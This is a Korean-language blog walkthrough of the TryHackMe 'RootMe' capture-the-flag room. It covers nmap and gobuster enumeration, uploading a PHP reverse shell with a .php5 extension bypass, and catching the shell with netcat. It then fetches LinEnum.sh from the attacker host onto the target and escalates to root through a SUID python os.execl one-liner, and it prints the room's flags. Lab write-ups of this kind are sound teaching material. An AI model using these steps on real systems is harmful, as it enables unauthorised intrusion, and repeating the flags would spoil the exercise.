TryHackMe

[TryHackMe] RootMe

jeff_kim 2024. 3. 24. 14:24

https://tryhackme.com/r/room/rrootme

 

기본 정보 수집 및 포트스캐닝을 배우기위해 RootMe 박스를 모의해킹

 

 

 

 

┌──(root㉿kali)-[~/raccoon/rootme]
└─# nmap -p- --max-retries 2 -Pn -n --open -sS --min-rate 2000 -oA tcpFull 10.10.94.213

┌──(root㉿kali)-[~/raccoon/rootme]
└─# cat tcpFull.nmap 
# Nmap 7.94SVN scan initiated Sun Mar 24 00:29:52 2024 as: nmap -p- --max-retries 2 -Pn -n --open -sS --min-rate 2000 -oA tcpFull 10.10.94.213
Nmap scan report for 10.10.94.213
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Sun Mar 24 00:30:28 2024 -- 1 IP address (1 host up) scanned in 36.79 seconds

-p- --max-retries 2 : 모든 포트를 2번 시도해라

-Pn : 호스트 디스커버리 하지 않겠다

-n : DNS 디스커버리 하지 않겠다

--open : open된 포트만 보여달라

-sS : tcp 씬스캔을 활용하겠다

--min-rate : 미니멈 레이트는 2000

-oA : 출력 파일은 tcpFull로 하겠다

 

 

┌──(root㉿kali)-[~/raccoon/rootme]
└─# nmap -p 22,80 -sV -sC -Pn -n --open -oA tcpDetailed 10.10.94.213
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-24 00:32 EDT
Nmap scan report for 10.10.94.213
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
|   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_  256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.40 seconds

 

 

1. 웹사이트 확인

 

2. 소스코드 확인

 

3. robots.txt 확인 

 

별다른 단서가 없다

 

4. gobuster를 이용해 디렉터리 브루트포싱을 진행

┌──(root㉿kali)-[~/raccoon/rootme]
└─# gobuster dir -u http://10.10.94.213/ -w /usr/share/wordlists/dirb/common.txt -f -x php -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.94.213/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess/           (Status: 403) [Size: 277]
/.htaccess.php/       (Status: 403) [Size: 277]
/.php/                (Status: 403) [Size: 277]
/.hta.php/            (Status: 403) [Size: 277]
/.hta/                (Status: 403) [Size: 277]
/.htpasswd.php/       (Status: 403) [Size: 277]
/.htpasswd/           (Status: 403) [Size: 277]
/css/                 (Status: 200) [Size: 1125]
/icons/               (Status: 403) [Size: 277]
/index.php/           (Status: 200) [Size: 616]
/index.php/           (Status: 200) [Size: 616]
/js/                  (Status: 200) [Size: 958]
/panel/               (Status: 200) [Size: 732]
/server-status/       (Status: 403) [Size: 277]
/uploads/             (Status: 200) [Size: 743]
Progress: 9228 / 9230 (99.98%)
===============================================================
Finished
===============================================================

 

403은 의미가 없어 200위주로 볼것이다

 

 

뭔가 디렉터리 인덱싱이 가능한 오픈 디렉터리가 나오긴 하는데 안에 파일이 아무 것도 없다 근데 업로드 이기 때문에 뭔가 파일을 업로드하면 /uploads 디렉터리 안에 업로드가 될 것 같다.

 

 

 

파일을 업로드하는 무언가가 나온다

생각되는 시나리오

1. /panel에서 업로드를 하면 /uploads 에서 업로드가 되는 것이 보일 것

2. 그게 php 파일이라면 웹서버 자체의 백엔드가 php 이기 때문에 사실상 php를 열어서 확인한다는건 php 코드가 실행된 다는 것과 같다

 

 

5. php 리버스쉘 코드 업로드 

┌──(root㉿kali)-[~/raccoon/rootme]
└─# find / -name "*php-reverse-shell*" 2> /dev/null
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php
^C
                                                                              
┌──(root㉿kali)-[~/raccoon/rootme]
└─# cp /usr/share/laudanum/php/php-reverse-shell.php .                 
                                                                              
┌──(root㉿kali)-[~/raccoon/rootme]
└─# ls
php-reverse-shell.php  tcpDetailed.gnmap  tcpDetailed.xml  tcpFull.nmap
target                 tcpDetailed.nmap   tcpFull.gnmap    tcpFull.xml
                                                                              
┌──(root㉿kali)-[~/raccoon/rootme]
└─# vim php-reverse-shell.php

 

php 파일에서 chang this 부분에 리버스 쉘이기 때문에 내가 가지고 있는 ip를 적어준다

 

업로드 시켜줬지만 업로드가 되지 않은 것같다 뭔가 php 확장자로는 안되서 php upload bypass를 통해 우회를 해서 업로드를 시킬 것이다

 

6. file upload bypass를 통한 php 파일 우회 업로드

우선 php -> php5 로 확장자를 변경해서 업로드 시도

정상적으로 파일을 업로드 했다

 

7. 리버스 쉘 받기

┌──(root㉿kali)-[~/raccoon/rootme]
└─# nc -nlvp 1234                                                   
listening on [any] 1234 ...

이렇게 nc 명령어를 입력한 후에 업로드된 파일을 누르면 된다.

┌──(root㉿kali)-[~/raccoon/rootme]
└─# nc -nlvp 1234                                                   
listening on [any] 1234 ...
connect to [10.8.59.204] from (UNKNOWN) [10.10.94.213] 38488
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 05:01:09 up 41 min,  0 users,  load average: 0.00, 0.00, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

리버스 쉘을 획득한 모습

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@rootme:/$

python을 이용해서 pty를 불러온 후 권한 상승을 위해서 구글에서 linenum.sh github를 검색해 스크립트를 가져온다

 

┌──(root㉿kali)-[~/raccoon/rootme]
└─# wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
--2024-03-24 01:09:28--  https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/plain]
Saving to: ‘LinEnum.sh’

LinEnum.sh                    100%[==============================================>]  45.54K  --.-KB/s    in 0.1s    

2024-03-24 01:09:29 (315 KB/s) - ‘LinEnum.sh’ saved [46631/46631]


┌──(root㉿kali)-[~/raccoon/rootme]
└─# python3 -m http.server 8443                 
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...

python을 통해서 웹서버를 8443으로 오픈

 

www-data@rootme:/$ cd /dev/shm
cd /dev/shm
www-data@rootme:/dev/shm$ wget http://10.8.59.204:8443/LinEnum.sh
wget http://10.8.59.204:8443/LinEnum.sh
--2024-03-24 05:11:33--  http://10.8.59.204:8443/LinEnum.sh
Connecting to 10.8.59.204:8443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'

LinEnum.sh            0%[                    ]       0  --.-KB/s              LinEnum.sh           32%[=====>              ]  14.95K  57.1KB/s              LinEnum.sh           96%[==================> ]  44.14K  81.8KB/s              LinEnum.sh          100%[===================>]  45.54K  84.4KB/s    in 0.5s    

2024-03-24 05:11:34 (84.4 KB/s) - 'LinEnum.sh' saved [46631/46631]

www-data@rootme:/dev/shm$
www-data@rootme:/dev/shm$ chmod +x ./LinEnum.sh
chmod +x ./LinEnum.sh
www-data@rootme:/dev/shm$ ./LinEnum.sh

[+] Possibly interesting SGID files:
-rwsr-sr-x 1 root root 3665768 Aug  4  2020 /usr/bin/python

이것을 악용할 것이다

GTFObins 사이트에서 쳐야할 명령어를 검색할 후에 실행 

www-data@rootme:/$ python -c "import os; os.execl('/bin/sh', 'sh', '-p')"
python -c "import os; os.execl('/bin/sh', 'sh', '-p')"
#

root 권한을 획득했다

 

# find / -name "user.txt"
find / -name "user.txt"
/var/www/user.txt
# cat /var/www/user.txt
cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
# find / -name "root.txt" 2> /dev/null
find / -name "root.txt" 2> /dev/null
/root/root.txt
# cat /root/root.txt
cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}

 

'TryHackMe' 카테고리의 다른 글

[TryHackMe] Robots  (0) 2024.03.24